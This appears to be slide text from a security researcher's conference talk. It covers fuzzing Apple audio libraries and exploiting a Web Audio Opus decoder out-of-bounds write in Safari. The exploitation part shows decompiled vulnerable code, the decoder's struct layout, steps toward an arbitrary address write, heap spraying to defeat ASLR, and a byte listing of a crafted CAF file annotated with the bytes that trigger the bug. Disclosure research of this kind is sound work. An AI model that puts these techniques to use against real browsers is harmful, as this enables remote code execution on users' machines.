



New Attack Surface in Safari

Using just one Web Audio vulnerability to rule the Safari

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About me

- senior security engineer from Ant Security Light-Year lab
- Graduated from Zhejiang University
- was a member of AAA CTF team
- main research area are binary fuzzing, browser security and macOS security
- Pwn Safari, PDF and many mobile devices in three Tianfu cup from 2018 to 2020

蚂蚁安全实验室
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
光年
Light-Year



RoadMap



- Background Introduction
- WebAudio Bug Hunting
- Exploit Safari

一、Background Introduction



二、WebAudio bug hunting

WebAudio module introduction



Previous work

Adobe	Adobe Acrobat and Reader	CVE-2018-4908
Google	TensorFlow	CVE-2018-7574
Google	TensorFlow	CVE-2018-7576
Adobe	Adobe Acrobat and Reader	CVE-2017-11293
Adobe	Adobe Acrobat and Reader	CVE-2017-16408
Adobe	Adobe Acrobat and Reader	CVE-2017-16409
Adobe	Adobe Acrobat and Reader	CVE-2017-16410
Adobe	Adobe Acrobat and Reader	CVE-2017-16411
Adobe	Adobe Acrobat and Reader	CVE-2017-16399
Adobe	Adobe Acrobat and Reader	CVE-2017-16395
Adobe	Adobe Acrobat and Reader	CVE-2017-16394
Adobe	Adobe Digital Editions	CVE-2017-11301
Apple	Xcode	CVE-2017-7076
Apple	Xcode	CVE-2017-7134
Apple	Xcode	CVE-2017-7135
Apple	Xcode	CVE-2017-7136
Apple	Xcode	CVE-2017-7137
Adobe	Adobe Acrobat and Reader	CVE-2017-3016
Adobe	Adobe Digital Editions	CVE-2017-11280
Apple	macOS Audio	CVE-2017-7015
Apple	macOS afclip	CVE-2017-7016
Apple	macOS afclip	CVE-2017-7033
Adobe	Adobe Digital Editions	CVE-2017-3093
Adobe	Adobe Digital Editions	CVE-2017-3094
Adobe	Adobe Digital Editions	CVE-2017-3095

公司	产品	CVE-ID
Microsoft	Windows Win32k Graphics	CVE-2019-1468
Microsoft	Windows Graphics	CVE-2019-1148
Apple	macOS/iOS UIFoundation	CVE-2019-8831
Apple	macOS/iOS UIFoundation	CVE-2019-8745
Apple	macOS/iOS CoreAudio	CVE-2019-8705
Apple	macOS Grapher	CVE-2019-8695
Apple	macOS/iOS UIFoundation	CVE-2019-8657
Apple	macOS CoreAudio	CVE-2019-8592
Apple	macOS/iOS CoreAudio	CVE-2019-8585
Microsoft	Windows GDI	CVE-2019-0849
Microsoft	Windows GDI	CVE-2019-0802

MacOS Binary bug hunting technology

TrapFuzz

- suitable for Fuzz Library
- high efficiency

write harness

- Audio parsing
 - open、analysis、close
- Audio decode
 - set output format
 - reference to Safari

Achieved results

9 out-of-bounds read, 7 out-of-bounds write

CVE Number	Vulnerability detail	Advisory link
CVE-2021-1747	Dealing with malicious, damaged web pages leading to arbitrary code execution	https://support.apple.com/HT212147
CVE-2020-27948	Out-of-bounds write of the audio library may lead to arbitrary code execution	https://support.apple.com/en-us/HT212011
CVE-2020-9960	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/en-us/HT212011
CVE-2020-27908	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/en-us/HT212011
CVE-2020-9954	Audio library buffer overflow	https://support.apple.com/zh-cn/HT211849
CVE-2020-9944	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211931
CVE-2020-9943	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211931
CVE-2020-27910	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211931
CVE-2020-27916	Out-of-bounds write of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211931
CVE-2020-10017	Out-of-bounds write of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211931
CVE-2020-27909	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211930
CVE-2020-9889	Out-of-bounds write of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211289
CVE-2020-9888	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211289
CVE-2020-9890	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211289
CVE-2020-9891	Out-of-bounds read of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211289
CVE-2020-9866	Out-of-bounds write of the audio library may lead to arbitrary code execution	https://support.apple.com/zh-cn/HT211289


3. Exploit Safari

Crash Analysis

```
__int64 __fastcall ACOpusDecoder::AppendInputData(ACOpusDecoder *this,
const void *a2, unsigned int *a3, unsigned int *a4, const
AudioStreamPacketDescription *a5)
{
    ...

    if ( a5 )
    {
        v8 = a5->mDataByteSize;
        if ( !a5->mDataByteSize || !*a4 || (v9 = a5->mStartOffset, (a5-
>mStartOffset + v8) > *a3) || this->buf_size ) // (1). bound checking
does not take effect here.
        {
            result = 0LL;
            if ( !v8 )
            {
                this->buf_size = 0;
LABEL_19:
                v13 = 1;
                v12 = 1;
                goto LABEL_20;
            }
            goto LABEL_16;
        }
        if ( v9 >= 0 )
        {
            memcpy(this->buf, a2 + v9, v8); // (2) . where out-of-bounds
write
            v14 = a5->mDataByteSize;
            this->buf_size = v14;
            result = (LODWORD(a5->mStartOffset) + v14);
            goto LABEL_19;
        }
        ...
    }
}
```

CAF File Format Introduction



Use 010Editor to Parse CAF



```
BigEndian();
struct CAFAudioFormat {
    double mSampleRate;
    uint32 mFormatID;
    uint32 mFormatFlags;
    uint32 mBytesPerPacket;
    uint32 mFramesPerPacket;
    uint32 mChannelsPerFrame;
    uint32 mBitsPerChannel;
};

...
struct File {
    ...
    struct CAFFileHeader {
        uint32 mFileType;
        uint16 mFileVersion;
        uint16 mFileFlags;
    } caffFileHdr;
    ...
} file;
```

```
90: 259(0x103)
91: 252(0xfc)
92: 255(0xff)
93: 246(0xf6)
94: 245(0xf5)
95: 247(0xf7)
96: 250(0xfa)
97: 246(0xf6)
98: 243(0xf3)
99: 242(0xf2)
100: 255(0xff)
101: 247(0xf7)
102: 248(0xf8)
103: 234(0xea)
104: 237(0xed)
105: 235(0xeb)
106: 225(0xe1)
107: 230(0xe6)
108: 2291(0x8f3)
109: 237(0xed)
110: 250(0xfa)
111: 240(0xf0)
112: 255(0xff)
113: 246(0xf6)
114: -102(0xfffff9a)
115: 99(0x63)
116: 61(0x3d)
```

Out-of-bounds write -> Arbitrary address write (1)

Override the internal fields of the structure

```
00000000 ACOpusDecoder  struc ; (sizeof=0x700, mappedto_141)
00000000 unknown      db 168 dup(?)
000000A8 buf        db 1500 dup(?)
00000684 buf_size     dd ?
00000688 controled_field dq ?
00000690 log_obj      dq ?
00000698 controled    db 104 dup(?)
00000700 ACOpusDecoder  ends
00000700
```

Out-of-bounds write -> Arbitrary address write (2)

Find the code path to the point of arbitrary address write

```
ACOpusDecoder::ProduceOutputBufferList() {
    v32 = opus_packet_get_samples_per_frame(v24, *(log + 3));
    ...
    frame_num = opus_packet_parse_impl(v55_buf, v56, &53, 0LL, frame_len_buf, &50);
    //control the parameters to ensure the return value is greater than or equal to zero.

    if (frame_num >= 0)
    {
        v36 = v32;
        v37 = v32 * frame_num;
        v28 = -2;
        if (v37 <= v23 )
        {
            ...
            *(log + 14) = v52; //we call trigger arbitrary address write here!
            *(log + 13) = v54;
            *(log + 16) = v36;
            *(log + 12) = v33;
            ...
        }
        ...
    }
}
```


Out-of-bounds write -> Arbitrary address write (3)

Prevent crash after arbitrary address write


```
...
if (frame_num >= 0)
{
    v36 = v32;
    v37 = v32 * frame_num;
    v28 = -2;
    if (v37 <= v23 )
    {
        ...
        *(log + 14) = v52; //we call trigger arbitrary address write here!
        *(log + 13) = v54;
        *(log + 16) = v36;
        *(log + 12) = v33;
        ...
        while(1) {
            v42 = opus_decode_frame(log, v40_buf, ...); //may crash here!
            if(v42 < 0)
                break;
        }
    }
}
...
}
```


Out-of-bounds write -> Arbitrary address write (4)


Packet out-of-bounds parsing




Heap spray, break ASLR!



Implementation of Gigacage



Do Heap Spray



```
_CAF_FILE_HEADER:

    db 0x63, 0x61, 0x66, 0x66, 0x00, 0x01, 0x00, 0x00

_DESC_CHUNK:

    db 0x64, 0x65, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20,
0x40, 0xE7, 0x70, 0x00,

    db 0x00, 0x00, 0x00, 0x00, 0x6F, 0x70, 0x75, 0x73, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
    db 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00

...

    db 0x8c, 0x58 ; length of packet which triggers out-of-bounds
address write

    db 0x2 ; length of packet which triggers arbitrary address
write

    db 0x86, 0x2f ; length of packet which prevents crash

...


times 70000000 db 8 ; length of packets used for padding

    db 0x81, 0x70, 0x81, 0x7F, 0x81, 0x76 ; padding


    db 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1A ; negative length
used for triggering the vulnerability
```

Thanks to multithreading !

Vulnerability
Exploitation
Timing Diagram




Prevent crashing when cleaning up resources



Old School

arbitrary address read/write -> arbitrary code execution



Saelo - [Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622](#)

The End ~



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